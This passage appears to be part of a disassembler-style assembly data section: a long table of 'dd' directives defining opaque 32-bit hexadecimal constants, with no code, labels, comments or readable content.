		dd 46AC2350h, 0E005BB0h, 16BAA676h, 7CA9B77Fh, 4CD0761Ch
		dd 0EC230818h, 0B404B821h, 7CE0552Bh, 0A7125C3h, 0CC1C1441h
		dd 7F055405h, 92C9853Dh, 0C07FC0E2h, 0D5C0D3E9h, 2AF9E894h
		dd 0A056AC4Ah, 44480D84h, 0D1F87B46h, 0EF80C98h, 40C2B56h
		dd 0C56532C8h, 0B34BDCB8h, 12353EB8h, 3CA99311h, 0CFEEC410h
		dd 0A5597876h, 0B98CB8C6h, 0ECAA1234h, 4AD83820h, 88C7D488h
		dd 0AD393918h, 7A538BBFh, 0C42047BDh, 1F2F6192h, 0D19488A9h
		dd 0FAEB18E8h, 4DDE09D6h, 0E8C04E72h, 0DAF03246h, 1888B654h
		dd 80A2A14Ah, 0C2417F37h, 44E4B309h, 78433C4Eh,	0D0AE532Fh
		dd 12EF3D24h, 0A28D7BC6h, 18B822C0h, 0D10C6468h, 527CA10Dh
		dd 91F4500h, 7EF4629h, 48D56975h, 240088E4h, 942953D2h
		dd 14262CADh, 7018E73Bh, 813F1F01h, 0F046968Ah,	0A9C0F5B0h
		dd 5A88D2C4h, 0EE9507F6h, 0C06BD44Ah, 0CAD65250h, 891C2297h
		dd 46B844DCh, 0F5252C56h, 1C3B5109h, 2DF53FB8h,	30904593h
		dd 0ECB6324h, 82311D00h, 5B3AE92Bh, 0AA833CBCh,	0B855684h
		dd 0C0D4DB1Ch, 127B725Bh, 4F49460h, 0F4C64CC1h,	67200A24h
		dd 85370C14h, 8918E1D5h, 10A4E648h, 0CBC87A31h,	64EDAD92h
		dd 5A43AE00h, 663CC147h, 4D80F700h, 504904CBh, 95763832h
		dd 7162E1E1h, 0DA5FC00Bh, 44EF6100h, 182AFEB0h,	9CC796Bh
		dd 0E1A88064h, 8E929C7Ch, 81E448h, 6E571FFh, 7F090C34h
		dd 0D44A8252h, 0EA1543A8h, 6A513804h, 0B0E84CAEh, 0E30458D8h
		dd 167D1388h, 307C0AEEh, 3A3D375Ch, 0FAC2E9DCh,	83F373A7h
		dd 0F12B8A94h, 7828BDEAh, 2CF4912Ch, 0CA4676C4h, 0BF533B01h
		dd 6C95300Eh, 10185830h, 3984D6DEh, 54B052CBh, 970321ACh
		dd 1427D111h, 0B65786Dh, 7F928D01h, 0D42D3BB1h,	3D882D0Dh
		dd 3220E129h, 0E09FCA58h, 0CD380E82h, 625C8DEAh, 0D4227463h
		dd 0D8CB154Ah, 4700E39Fh, 0ACD49916h, 280E16C9h, 0D3B4C2E1h
		dd 8402D051h, 9CD96163h, 163A2D9Ch, 8980583Dh, 0FF6EC50h
		dd 0D96202B4h, 101AD60Bh, 3A8640C8h, 0CE5F78ACh, 0EA23B43Eh
		dd 869F8200h, 3C30C2ADh, 0A128241Dh, 30BC45C4h,	0BB41264Ch
		dd 4BC00830h, 0A958C8D7h, 4883B188h, 241514A8h,	0B92210FBh
		dd 0AC49B53Ch, 4D784491h, 2D6088BFh, 10ACD552h,	0D2C8BAFEh
		dd 1104176Bh, 0F39987ECh, 9F95A860h, 0F0EA04B0h, 0C9BFBA71h
		dd 7904D3A0h, 0DE3E69D7h, 2F7F0D02h, 0E1C060EDh, 13D07C38h
		dd 6A8BA73Fh, 0B54E1028h, 21F51184h, 0C90B4D15h, 9C879F4h
		dd 28918B36h, 73341CCCh, 94B265h, 64CCF645h, 0A1498832h
		dd 0A4257B2Ch, 0DC94EE0Ah, 0B9BA9E78h, 0E97D0A84h, 482A44DCh
		dd 1DEC11E4h, 88EEDD75h, 415D251h, 2D98A34h, 0A039600Dh
		dd 62761698h, 3E79C0E4h, 300CCBB0h, 8C39E4Ah, 824A0735h
		dd 61D70DECh, 0D6866AB5h, 35C10079h, 0D2F22E9Fh, 0D31700C8h
		dd 568E484Eh, 7100912Ah, 8F03B2FBh, 4D1EBB8Ah, 84006032h
		dd 0BFE0D416h, 0A995FF4Fh, 0CAB484C8h, 0C0671D4Eh, 85D300F8h
		dd 7A007E55h, 0DB5E74EDh, 0EE99E864h, 2EF4F09h,	251E2440h
		dd 308400E2h, 171F6350h, 0CB0B511Eh, 27FB00BCh,	0E25BAD24h
		dd 2F6C380Ch, 24A0EE2Fh, 0DA8725DBh, 41EB531Dh,	7F389827h
		dd 187B06B8h, 31B60AF0h, 7E1BEE01h, 24D74CECh, 4A4480F0h
		dd 10DC3BFEh, 85C0FEDDh, 0AEA9B984h, 0BCCA5Ch, 479C386Fh
		dd 2605F68Bh, 422C3F88h, 60E469EFh, 0E1EE0D09h,	98B714h
		dd 2993A3B5h, 5A031CD0h, 63EF9A22h, 37E109B9h, 8022A165h
		dd 0A8D1E615h, 98C3D300h, 0F01C4740h, 0EA340039h, 6E4450FCh
		dd 0F4B93188h, 55A84F05h, 910ADC49h, 446D9678h,	78E0AE00h
		dd 9FC33E5Ah, 45037D7Dh, 75586D7Fh, 8022BACFh, 2CA035F8h
		dd 3C2E43Dh, 0EC046279h, 0A010DFF2h, 12708889h,	0FC4DAED5h
		dd 983FB068h, 0B08C03C2h, 0DF487C0Bh, 0A430F0A0h, 0E4151F02h
		dd 5CE56535h, 0EE6E0A54h, 0D7CD40F0h, 77FC5A06h, 2C553314h
		dd 48C74ECh, 50E72426h,	388E43h, 69242EF6h, 781BB3DDh
		dd 0E2502E72h, 245D13D0h, 6F68562Ch, 93350008h,	0BF8270F6h
		dd 0ADCD3069h, 0BEBB7558h, 77E853Ah, 5A4A54C4h,	82A060BBh
		dd 0C4124B2h, 0DC7CA61Ch, 0F26C8300h, 86FD010Dh, 0DEC30166h
		dd 71EDBC6Bh, 56E86426h, 0FD39AE11h, 34F47502h,	0D45EE3D2h
		dd 1290465Eh, 90B00C38h, 6CC8409Eh, 465C74BEh, 0A5330090h
		dd 9E5250F9h, 2560B2ACh, 0FC172F6Fh, 60FEE108h,	8D0ABC3Eh
		dd 1CAA0400h, 0FD5F8C72h, 0EAB42D62h, 39070C07h, 0BD003C59h
		dd 8CEB3B99h, 5D310018h, 573F0A49h, 0C61762B5h,	9460BA6Bh
		dd 40D94BAEh, 0F02906E8h, 5127FC07h, 0FCC500ACh, 60D02ADEh
		dd 0C92C2600h, 0BB4EE468h, 1E8401ACh, 0B30EEB18h, 48CD2EDAh
		dd 14BD39ECh, 0A8551CD9h, 0B66F0DC0h, 0B5976BAEh, 84698064h
		dd 0FA7C1FFCh, 38F4444Bh, 68A09F55h, 0CFB00AF6h, 1B8C080h
		dd 59BAF445h, 62380CFCh, 92800148h, 88DE1F33h, 32239028h
		dd 3AC42103h, 70ACDD34h, 0C40CFBB0h, 450B2118h,	0C4BA5C88h
		dd 0D8B91470h, 4D7D3508h, 1700A0B4h, 8EA2FC8Ch,	0F1A44B0Ch
		dd 0E2A9F7C4h, 382F2B88h, 81008C7Dh, 2725E00Dh,	18493369h
		dd 900B6E65h, 0D883C728h, 50AF443Dh, 20628CAAh,	0C113B5E8h
		dd 58F61C85h, 0B1D597B0h, 0AC276BE2h, 0B4CC21EEh, 1EE801BFh
		dd 427380Dh, 44B9EF0Bh,	0E4912482h, 0A71120D9h,	0E6A54F07h
		dd 0C8E7A583h, 0E24F7648h
		dd 8BA5A888h, 0CA10D011h, 483A5511h, 8C6A39ACh,	38DB3E69h
		dd 9CBA4D6Ch, 8702F0BCh, 0AC823FAAh, 59306231h,	0FEE278D0h
		dd 0B7E0F86h, 1E60EDC9h, 51649386h, 80FA7225h, 56696604h
		dd 15D624FFh, 0A9465E38h, 84732306h, 0E004A8BFh, 0B915D943h
		dd 0F3F260B2h, 0C085E030h, 55ADC3E8h, 0B7B88319h, 70AE2501h
		dd 96BFF567h, 0F1DC402Bh, 89607DD6h, 0C56DFA00h, 1A8D88DDh
		dd 312100C2h, 0EDD122AFh, 0E0A82A79h, 0D625153Dh, 11EC9714h
		dd 0D4DE81F2h, 98709734h, 40989ED8h, 94F8451Ch,	588D7D4Fh
		dd 0ECAC807Ch, 0DE560F8Ch, 2C02C540h, 47F53C1h,	8D09D7D4h
		dd 0B41138D4h, 72CA0B28h, 702CEF4Ah, 968CE388h,	1F298Ah
		dd 15A597F1h, 0CF5E4B5h, 122E997Ah, 6208EC46h, 0A7605AEh
		dd 0D770B064h, 0B64E3910h, 0EF627C1Fh, 7B864840h, 9E34E0C2h
		dd 55207826h, 0BEF580DDh, 76C02F2Ah, 48DF008Ch,	6BE738E0h
		dd 0B1ECDD0Fh, 68C8515Ah, 0C9707EFAh, 30D28880h, 2FF0820h
		dd 8BD47E1Ch, 0B0D29606h, 7190EE00h, 0CCA30183h, 0C102F089h
		dd 423D3771h, 38743A8Eh, 107C71FAh, 743F02BBh, 45874034h
		dd 0A2EC3919h, 7406AF48h, 47C082B7h, 0B1E47476h, 851812B0h
		dd 2CACEC59h, 0AE7373C0h, 3B0E1652h, 1060AC87h,	31288C8Dh
		dd 80DCE6A4h, 0DD07841Fh, 0FA82D3BCh, 0D2B4D14Ch, 6AB700C1h
		dd 0B93583Ch, 38F82F24h, 119817E9h, 168480EAh, 39C3B26h
		dd 9D5E4779h, 29B7654Fh, 0B4449452h, 0F8DF4596h, 6F0288A3h
		dd 49E88781h, 3E6876E6h, 0F0B80278h, 0FFB59B61h, 0A7645CC7h
		dd 4AFCD560h, 0DBC12D03h, 27BCC0D3h, 4048734h, 9CE25331h
		dd 9B21B800h, 0EF8DC8FEh, 0EC12FD0Ah, 2401C0C6h, 0B02251F1h
		dd 3E64986Bh, 0A07AC70h, 3C759580h, 11CC9DC9h, 510D81CBh
		dd 6DC4347Eh, 0A8E09F05h, 102C62D6h, 0AE8564D5h, 98F8FD54h
		dd 7EAB0C93h, 4B2745B9h, 9844FAh, 21EFF807h, 3047B33Ch
		dd 306163Dh, 27463EB2h,	85A09F2Ch, 90220E9Eh, 88BE2834h
		dd 63AC2E84h, 9C602744h, 0FB27414Ah, 0A340C0C8h, 0C04B5595h
		dd 0AC94202Ah, 50060DCh, 0FB6BD249h, 0FEE72CC2h, 7F4DF445h
		dd 640C48FDh, 64D8BC27h, 0D43C790Bh, 68608B47h,	59127680h
		dd 4627D8CCh, 0A487BC72h, 962CA44h, 90C4E440h, 0F7962608h
		dd 0D4CD2DB4h, 0F4B3A9C0h, 0A4CA1F85h, 8904423Dh, 4474EC3Bh
		dd 0BF1DB485h, 2E233CB2h, 3EC4053Fh, 6CCE1234h,	0C4080772h
		dd 0C0FCF68Ah, 68DAE098h, 1D600E16h, 5CCF84A0h,	942224BFh
		dd 91CC1795h, 0D32D81DFh, 7CC2F7Fh, 82BF0411h, 0C031FDC7h
		dd 5FA6B540h, 642D2C12h, 0C3D3B820h, 32D804FFh,	0F084E965h
		dd 0BA7DDDB4h, 0C11A8312h, 0B495DC45h, 8E4E5CECh, 0C07FC890h
		dd 2E173744h, 34E8BD04h, 7C977E55h, 509F1AD0h, 0DE58942Ch
		dd 9B25F909h, 9EB4A31Eh, 7ABBA0B8h, 0EFA64482h,	3EDB022h
		dd 0A2A75ECEh, 0D5B0B4B5h, 3EB8C888h, 8451721Ch, 1C377C41h
		dd 986A97B7h, 0E6207A3Ch, 800B0BDDh, 78E74121h,	2360CA64h
		dd 0A912B836h, 30415D97h, 0B75651EDh, 0BA028832h, 0B61A62F0h
		dd 564C7E12h, 6F00A646h, 0A074BE66h, 489F3BB1h,	4F207FB4h
		dd 81C4C4F3h, 45A08E0Ch, 0B974BDC4h, 0E46FEC8h,	0D2C643B9h
		dd 7F9A4922h, 0BFAB9601h, 2E8452Ah, 9F88F8E0h, 0B0861F62h
		dd 210260C3h, 0F0546C1Ch, 407CDE0Eh, 3ADCBD80h,	88F8BE04h
		dd 7891F23Bh, 89A8F9ADh, 76AF00D1h, 0D9B332DAh,	0CB1306A2h
		dd 0D4056255h, 0A0E035ADh, 6F94E648h, 780B4195h, 6041C054h
		dd 3701FA41h, 39247087h, 2F611E65h, 0D599B481h,	480BF011h
		dd 533718C4h, 0EFD468A6h, 0B571D31Ch, 0B9CA2000h, 0ECF368B1h
		dd 0BAC01F62h, 0F0094BFDh, 0C44F9907h, 49CA3F5Ch, 50EBC282h
		dd 667E434Bh, 2211CE00h, 5F7C641h, 1F683015h, 0CFBC082Ch
		dd 603F1C13h, 1805A823h, 0D4044B8Fh, 0A4A2AA8Eh, 0BCE90100h
		dd 194AD325h, 0BA97F00h, 8184765Bh, 436039CCh, 50524D9Ch
		dd 483C2CDAh, 0C004C96h, 3F87EC7Eh, 88AA4FE7h, 2E0107B0h
		dd 98306D66h, 0C882EF36h, 455280Ch, 200B58C1h, 0D788B914h
		dd 0D0015D69h, 0B0544601h, 7AEE0A8Bh, 0F86DC440h, 1799905Ah
		dd 68F67Dh, 71655894h, 985E8429h, 0BF462804h, 0AE338804h
		dd 223C28h, 30A0E75Ch, 0B5E1DB74h, 0D4733300h, 0E62F88ECh
		dd 201490EFh, 8532FDEDh, 7EBDB0B5h, 0F54947D4h,	0E094F60Eh
		dd 0E33410Ch, 85A4038Ah, 0EE1C72Eh, 8BCE9928h, 5066AD60h
		dd 0D27C1288h, 0F2CCA21Eh, 4BA130CCh, 823F5102h, 0E0889F92h
		dd 0E71A7504h, 358C022Bh, 0F0447D65h, 4880609Ch, 467CB2B0h
		dd 0C2B50184h, 82DB9FF7h, 0AEA8F0CAh, 0B2047100h, 9300AE8h
		dd 0F09C99F6h, 1F86FEDDh, 80CD7D48h, 0C2144DCh,	0AF3E5266h
		dd 38905BD8h, 0F0451Ch,	4A825510h, 5601CB5Bh, 98203890h
		dd 0A7A0B51h, 40A033B8h, 0EB64EC82h, 0B5AFF200h, 0A0B686B9h
		dd 872C03F7h, 1930480Ah, 7A51581Ch, 1C91140h, 12AA71ADh
		dd 8877B462h, 2539FCA4h, 279CD80Bh, 8BD48F20h, 5DF0E12Ah
		dd 0B9524F10h, 0B588097h, 95631538h, 0AAE9CE0h,	3C33F8F0h
		dd 0C1201196h, 0CC2AF165h, 62124FB8h, 0D4F4AB3Ah, 5A2CA0A5h
		dd 28009532h, 0FA777EB5h, 0A525509Ah, 92DC400Bh, 0C8949DB8h
		dd 6930F01Dh, 0DCF27105h, 0A43710A9h, 0EDD9E2C8h, 2482D301h
		dd 67D8442Fh, 176CF73Ah, 14F3E653h, 0D733EBB2h,	0C44E3070h
		dd 1B170139h, 734745CCh, 0FC042A69h, 4131F098h,	480405B9h
		dd 8402B5A1h, 544ACE1Ah, 0B96CE8A7h, 7E640847h,	8BA3D260h
		dd 0AD1EF14h, 724FC2D4h, 8904E8A6h, 8C249F30h, 0CF44F4ADh
		dd 3CD97301h, 76329533h, 0F23891E7h, 464E3D4h, 43A67459h
		dd 1048D53h, 0CC759EB8h, 0C180E190h, 38531285h,	8A54AC79h
		dd 465C6433h, 69007B7Ch, 99A5FCD5h, 30525084h, 6EC0CC56h
		dd 0EB00D841h, 2D05EF18h, 0EC9F323Fh, 14480EB6h, 39403D25h
		dd 62088203h, 0B8A5D328h, 0D582E3F8h, 7B85D418h, 0CF838402h
		dd 0DFFF8251h, 380F0080h, 8B82FB81h, 911C9768h,	65C48192h
		dd 2C20CD76h, 44F22B1h,	71BB7F0Eh, 0CC851E2Fh, 50BC6E39h
		dd 6FD82500h, 0DF2B4C1Bh, 8651C315h, 356C25D8h,	247935Ch
		dd 3582D48Ch, 0ED40B854h, 6C6B46h, 0BB54E4F4h, 0F9A6CB34h
		dd 0AF0A505h, 85C11999h, 12C01FC2h, 0ECE85158h,	0A6A20463h
		dd 0B93BE033h, 13D47142h, 0D1E01561h, 414A344h,	0E488E8CEh
		dd 64D5F1C1h, 391A77E0h, 48A5D62Ch, 527DDC80h, 0BD49A26Ah
		dd 0AD3309F0h, 0E66091E9h, 8D68006Ah, 4C83C688h, 509EBF5Fh
		dd 0FD615981h, 7A63D95Ch, 7C485C41h, 0F0601F91h, 2EAE7D28h
		dd 8CC0D395h, 54418997h, 51C53A1Dh, 934A813Ah, 0CBEFA239h
		dd 0BA35C460h, 5BAC9814h, 8CF4D562h, 0BA006D30h, 0F5A2EC33h
		dd 39D17A87h, 63826675h, 3A8F8B81h, 0C56FB87Ah,	8873D1h
		dd 958C3935h, 0F4E28960h, 7A000330h, 850FD95Dh,	26842869h
		dd 1444BFDDh, 90FC90D6h, 18A9018Ch, 0F679F10Eh,	50442EB9h
		dd 3702F98Dh, 0C061E387h, 0F8E83C76h, 0D5728CEBh, 7B127501h
		dd 8F68EF94h, 1230BDD4h, 12A1203Dh, 0F27CE238h,	25A833EBh
		dd 0B4005146h, 0CC55E812h, 0BDD7AA86h, 61B7F460h, 0A409B95Eh
		dd 7A8542Fh, 7B7AD67Bh,	0F36054CDh, 95807F8h, 0A936F41Fh
		dd 61B1B485h, 34664DDCh, 4A4996A8h, 3F560238h, 793BDAA8h
		dd 1C402DB8h, 3496B0A5h
		dd 0CF6FC280h, 18C49D0h, 8740C972h, 3C39E09Ch, 94222AB0h
		dd 3808F028h, 4B10975Ch, 0DFB294A3h, 71AAB033h,	2E3C0019h
		dd 85378472h, 9A8079h, 0A23AD627h, 23FEFC54h, 0E7ACA272h
		dd 7FD31254h, 0E8982C13h, 0E15A007Eh, 105F29D6h, 0C5C856Ah
		dd 8AC30023h, 0F886F927h, 4025B795h, 250CF9EEh,	0E0347144h
		dd 782781C6h, 644EC175h, 8BE46448h, 4F001BEEh, 0F54A5525h
		dd 0B8A0F65Bh, 0E3B0109Eh, 3F3400E5h, 6E1883Ch,	873B1225h
		dd 0F47008E2h, 0D8FB0482h, 59E849D0h, 7C08F982h, 0A0C86812h
		dd 64B71F24h, 0FBD700FCh, 0E064D377h, 0FD5817A4h, 1EA70146h
		dd 59A8D4EAh, 23602F7Ah, 4E7D00A9h, 96656314h, 0A483ED25h
		dd 3F403B24h, 0B55CFB82h, 0ED30B125h, 634A60B4h, 7401D69Bh
		dd 790C2115h, 2F2B3818h, 7E2330h, 960609D1h, 810C8805h
		dd 2104958Ah, 1128130Eh, 482824E4h, 7C8B49B8h, 5AD8F8BDh
		dd 9EDCCB6Bh, 0C75C00A3h, 13BA2B50h, 1F10800h, 0AE531945h
		dd 827C5CEFh, 0C4E76216h, 0BC18A8FCh, 5F028CA8h, 1A763C3Dh
		dd 60835D1Ch, 0B4D03384h, 0FE5F7EB9h, 45A06C77h, 1B74B62h
		dd 4408AC48h, 0C03F27D5h, 31CBFA94h, 0FFECCBAEh, 4191187h
		dd 0CCBC38B4h, 323BA080h, 905FAA3Dh, 0F4128405h, 95C1A090h
		dd 1835B71Ch, 0FAFC2C81h, 3D00B9DCh, 0B35B6185h, 0DE100CE2h
		dd 7C005AFDh, 506E6965h, 0AA3F484Ah, 0B43BAE16h, 17071FCCh
		dd 812C428Dh, 0ED824667h, 105420AFh, 0D10784C7h, 24633C21h
		dd 0BD0E3230h, 70BC0205h, 86A56D34h, 9936A8E8h,	0B4B6184Bh
		dd 97208202h, 10F5CEB4h, 26E614h, 4F11FFCh, 458D4332h
		dd 0B30EA507h, 0BC30F621h, 4173EEAh, 0B5B7B8D4h, 0B144C8EDh
		dd 0B21A700h, 9BECC79Fh, 0F2C01BBh, 94DA5492h, 95DDE051h
		dd 0CF71E0A4h, 50D7039h, 4978044Eh, 0F67F8FC0h,	0D3390125h
		dd 0E318481h, 0BC9C68A1h, 0B4078CE4h, 612A667Bh, 5FEFAF21h
		dd 0E901343Dh, 0C55B4C1Bh, 30123B1Fh, 0B122A8A8h, 30D0B445h
		dd 0E291FEBCh, 94357C95h, 0E08B698Ch, 0AEC3FC48h, 0AB3C4F00h
		dd 6A958CAh, 0A066952Ch, 567A4D16h, 1F3EFC42h, 8038D6B1h
		dd 0C18BF11Bh, 600E6D25h, 0E70D872Ch, 0EF91EE05h, 0D02B6AD0h
		dd 3B1C3FB8h, 0F0B44A09h, 0C700C9C8h, 3CD07C10h, 5FB7902Eh
		dd 3209431Ch, 186420DCh, 4FC9539h, 271C3D8h, 0B2A4A3CDh
		dd 58613091h, 835DF170h, 0CB82108Ch, 9DD09AD2h,	0A655DEC2h
		dd 3D60601Bh, 0F14A89FAh, 887438D9h, 0AD68640h,	0C109D960h
		dd 567F856Ch, 0B2CE8768h, 0A035C2F3h, 1B6C9077h, 0AC150230h
		dd 0FCD89445h, 8F441CDAh, 5D3EFDEEh, 6C944FE4h,	0C4991EC0h
		dd 35070A2Fh, 5C8F6903h, 5BB71382h, 0F8782144h,	6401BD74h
		dd 280C992Dh, 4D00FCE1h, 0CF4AFE52h, 0B0490C4Fh, 0B07C344Ah
		dd 58E6FFE8h, 4CB1E840h, 0D6827053h, 8CA2B012h,	30697497h
		dd 0ECA83023h, 4420D241h, 10884309h, 0CD06FE86h, 68D54A6Ah
		dd 0CA3204Bh, 0ECBC445Ch, 0F890488Ch, 89131Eh, 5F2E1602h
		dd 9E17F1A2h, 4CA8B87Bh, 40CD8D00h, 71638C14h, 8E78D450h
		dd 0C0C4B549h, 15CE8210h, 10A7FE22h, 0D7552C4Fh, 90F244A2h
		dd 0C2EC6A31h, 898D4E35h, 0ACE83C38h, 0A90E8CF1h, 0EA341088h
		dd 0F3A5AC0Ah, 7C7770B0h, 0D48C016h, 884110C9h,	0CC04FB29h
		dd 0FA4ADC80h, 518D0B4h, 800EA953h, 164A9A1h, 0EB3BEFACh
		dd 42F8C0Ch, 12BF4D18h,	92BC64ECh, 6562038Ch, 6495EE86h
		dd 0DA454905h, 8EC4961h, 0F8E8972Dh, 8C011C76h,	1B7F9B2Fh
		dd 6E645C8Dh, 0C6070945h, 44807D9Fh, 1DBD998Fh,	0F8321E5Ah
		dd 0ECBCC10Ch, 8D25D996h, 0A18841FCh, 9B4603DDh, 457102E2h
		dd 7D885674h, 0D41D4850h, 94AAAE2Fh, 89EB4900h,	6888BCC4h
		dd 31C900A4h, 12A38DD3h, 7CBCA793h, 27FD4C40h, 651B07EFh
		dd 7F699971h, 2951BAC0h, 7000262h, 3C2C05EBh, 7DEA8025h
		dd 2F26169Fh, 0F048DC4Fh, 0E3044042h, 2CF30B64h, 3AE72637h
		dd 0E80AC570h, 0D834255Ch, 8DCD25C0h, 0E484D444h, 86B2D45h
		dd 1397F890h, 4E6280A0h, 63F4E6AEh, 10F62C38h, 16399930h
		dd 1CE013B5h, 48019FA2h, 6DB172FDh, 7C40B668h, 389752CCh
		dd 50869210h, 0F75AFD11h, 1A837842h, 0F830EB50h, 180CD029h
		dd 80F32558h, 7CA0824Fh, 0DA0BBB0Fh, 0A96062B7h, 9DF044F8h
		dd 7C1F08E4h, 0AC2A482Ah, 788EEC94h, 0B59582FAh, 82094B8h
		dd 0AF91295Dh, 0F0A03206h, 3075F8A0h, 0D418E551h, 0D12B7D25h
		dd 881470FFh, 0E1913090h, 5BB971FFh, 0DAC20C3h,	0A8A8A248h
		dd 0FA1AD377h, 7E60E2C4h, 5D1940E8h, 8200A510h,	0C718BFDAh
		dd 915D3CCh, 4CE1E75Bh,	2828247Eh, 0BF181F9Dh, 659601C6h
		dd 16D54493h, 40EC0430h, 7C3B09DAh, 2D1E80E9h, 0F745324Fh
		dd 0B27E02B4h, 35F9A604h, 2A0BA8C1h, 21B1B4A1h,	0ECACE73Ch
		dd 0AEA136A6h, 5530D435h, 3378320Fh, 7EB0351Ch,	0C488BA03h
		dd 0C0893AF1h, 32BBE09h, 381D76E4h, 11ABB24Dh, 207932D0h
		dd 211E3B02h, 0DEBB23B6h, 18FF74BCh, 2AEFA2Dh, 65AC4CB3h
		dd 9777C495h, 9FF191A4h, 35E4E640h, 2D449579h, 7851B8DEh
		dd 4D3E0B5Dh, 46E66803h, 0AAD90812h, 0A2DCC806h, 0B75E2008h
		dd 20482C31h, 88754D5h,	0CEC7FA7Ah, 9320714Ch, 6E088F62h
		dd 5FBF03D6h, 763C281Ah, 789D6310h, 506B4030h, 4075B940h
		dd 0A56658C2h, 63798E08h, 31B30947h, 2CEF4818h,	0C485D308h
		dd 1C2AA018h, 14182FD0h, 0FC17084Eh, 0D0FE68C4h, 18287F06h
		dd 1075EC33h, 6B11878h,	0D7581859h, 80C69E80h, 8C47AB9h
		dd 0A906DEF0h, 0FB312839h, 90800849h, 10A73190h, 65318A2Eh
		dd 15839A9h, 6A038E03h,	0E1BAB910h, 0A0FEDE18h,	0BB80AB5Fh
		dd 1308C6DBh, 0D54282Dh, 0BC40F294h, 4DBB40DCh,	0C6B39940h
		dd 618423B9h, 3C0691C6h, 4AD94019h, 8C38ACA8h, 0CC356380h
		dd 5F896520h, 574531C6h, 8B853308h, 0D910F618h,	9010DC62h
		dd 0AC66773Dh, 20080569h, 0E207B32h, 6F0B2097h,	20A61420h
		dd 7E20AE07h, 0C8E77FAFh, 1619AD59h, 31956DC9h,	0CE188C28h
		dd 0C1021863h, 0C6BEAD80h, 18279C08h, 3181C0F6h, 92CA4424h
		dd 0D6EE2028h, 18477B37h, 4003D1ACh, 96409ED2h,	70374025h
		dd 0E3A57140h, 3A41001h, 7E211074h, 265D18C3h, 0C64A2210h
		dd 1891A708h, 8E44E33h,	101FFC6Dh, 0BF7010A2h, 74B1D137h
		dd 94B60DB0h, 0D694A2F0h, 8C51808h, 28C95C77h, 0B8C02573h
		dd 4B4FAC46h, 0A4675410h, 0D58040B6h, 0C46F7A40h, 60376E9h
		dd 3210652Bh, 1A086253h, 5213BC49h, 88A2B990h, 0FD02CB70h
		dd 9296048Dh, 94A65E98h, 0BD54613Fh, 0C4A8E6DCh, 0A3816C3Ah
		dd 40B31034h, 50639902h, 1832B670h, 189C8208h, 81813DC0h
		dd 3FF5818Ah, 338F90ECh, 1BE6B9CDh, 79CA9169h, 0D1A2048Ch
		dd 0CD8BC04h, 65E709A1h, 4CE9485Dh, 24995994h, 40FBB140h
		dd 5F40DC82h, 31F092FCh, 971038B2h, 867D0190h, 0DAC10888h
		dd 5460081Fh, 927B84A0h, 0B65520E4h, 0A4688224h, 4608B399h
		dd 9996C2D4h, 3C3804A4h, 9328C5A7h, 8FC02020h, 10CC5CE9h
		dd 2958CCh, 4DAAECFDh, 6F47A938h, 0AF60C4B2h, 3F46FAD8h
		dd 8DB20B4Eh, 80FCF011h, 0F603A440h, 1C1CB184h,	0AEF580E7h
		dd 0BB52F65h, 15ABF3Ah,	542D1B66h, 203EB23Ch, 0ADDA8998h
		dd 54552C2Eh, 0DBD42107h, 9DEE6A91h, 34D8B880h,	2F6D20ADh
		dd 97603F61h, 6881FA05h
		dd 0EC3A964Dh, 0D38DD01Fh, 0B30C30C0h, 9D217DDAh, 2CDB421h
		dd 0C39FFBE3h, 701099D3h, 8430253Dh, 0E39B3528h, 343F94A8h
		dd 5600E271h, 0CE7F274Ch, 7ADAC4Bh, 91BB9425h, 5C2643D6h
		dd 6E4B807Bh, 0C7FD4CC0h, 0C0F10524h, 0F538EEh,	29AEBF9Ch
		dd 0B6497F64h, 0C5A0008Ch, 0EEB0EF50h, 7C80C04Ah, 7606DA79h
		dd 0A0B6B8FAh, 0E020B996h, 0C8021E96h, 3DE0D3D9h, 655047Bh
		dd 0E1E329BEh, 647BB835h, 0C70B93Ch, 8F722DAh, 24951862h
		dd 1B17383Fh, 5E2F4503h, 22206494h, 7528DAC9h, 8209091h
		dd 47BA8159h, 86D03ED9h, 67951885h, 5B1B484Fh, 0E300357Eh
		dd 4BB4BEFCh, 396A83Ch,	95611D24h, 2812CEDAh, 50909466h
		dd 0C00616ADh, 0A294C58h, 67ECD738h, 0D9172208h, 0E30E021Dh
		dd 6D4B95DAh, 20BB1020h, 88C3C9CCh, 909F188Bh, 1E2109h
		dd 0AE20DB5Fh, 3F261B70h, 7E01F974h, 95F58EE7h,	5500D362h
		dd 14007B47h, 0BDF10F52h, 0A0DB68EEh, 78DA35D4h, 663130E2h
		dd 7E2DEF10h, 76A84165h, 0C688803h, 7708E03Fh, 923712D6h
		dd 8A5C447Bh, 0A9780730h, 88804F84h, 35318h, 2509EC82h
		dd 32277E50h, 35D38000h, 0EEE86790h, 507FE4D9h,	9248C0Bh
		dd 3FE1C33Bh, 69068C14h, 7726EED3h, 783F2898h, 0EB840010h
		dd 81F33BBBh, 8507797h,	9B3937B0h, 0D0F2B1E1h, 60805022h
		dd 659A7D3Eh, 7E7E9298h, 967B317Eh, 0FF2ED307h,	34019D5h
		dd 6751188Ah, 48F450EBh, 66BDB500h, 61D8E7Dh, 11ADB70Bh
		dd 2CA0A1B4h, 0EF01E06Ah, 0E2A275A3h, 0F4207A3Eh, 2E1D019Dh
		dd 9576DF36h, 29B1F0E4h, 2103657Fh, 0B33FCCFFh,	9ED7D92Ah
		dd 0A406F5E3h, 0EC58983Ah, 0EC73117h, 8046C5A4h, 26C936C0h
		dd 12CA323Ch, 317B66E3h, 1E1B28h, 5D227Eh, 3787AAB7h, 855329B3h
		dd 0CC7E5677h, 438FB018h, 50C0BE28h, 50C4BDh, 26ECC5C8h
		dd 0B888BC96h, 58019098h, 0FD8DCE0Dh, 1C3132DBh, 237EA850h
		dd 72E9017Ch, 49B0EA67h, 0B8102437h, 69812200h,	9579669Eh
		dd 0C04B5E32h, 761686D0h, 0DE942312h, 7E3600A0h, 1091C4h
		dd 0EF047A3Dh, 0D0DF412Ch, 9DA8BD0Fh, 0EE97B902h, 7D07EBBh
		dd 83E3BA35h, 10001A70h, 378D50E6h, 0C4D25494h,	807C1C58h
		dd 0C0760B18h, 0DC1EEF39h, 83723E39h, 11488052h, 0A4B08BE9h
		dd 2BD40FAFh, 0C3C1CDE4h, 45E1E7B0h, 8148344Eh,	9F2EDA0Dh
		dd 5020E16Eh, 7F231ADh,	8824FE10h, 9503430h, 0C03EBBEh
		dd 10036C5Bh, 8E944154h, 5981CCEh, 70C06F96h, 0AF063450h
		dd 0D05EEE2Dh, 605349F1h, 1E38E410h, 8C28FB4Fh,	76650200h
